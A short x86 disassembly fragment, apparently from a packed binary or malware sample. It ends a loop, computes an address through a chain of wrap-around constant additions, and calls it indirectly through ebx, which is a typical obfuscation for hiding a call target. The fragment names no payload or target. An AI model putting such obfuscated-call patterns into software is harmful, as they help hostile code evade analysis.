add edi, 4
loop 0x10009125
add eax, 0xaf200271
add eax, 0x50e0e262
xor ebx, ebx
add ebx, eax
add eax, 0x43f21f91
add eax, 0xbc0de074
mov ecx, 0x10000000
add ecx, dword [ebp - 0x10]
call ebx
leave
ret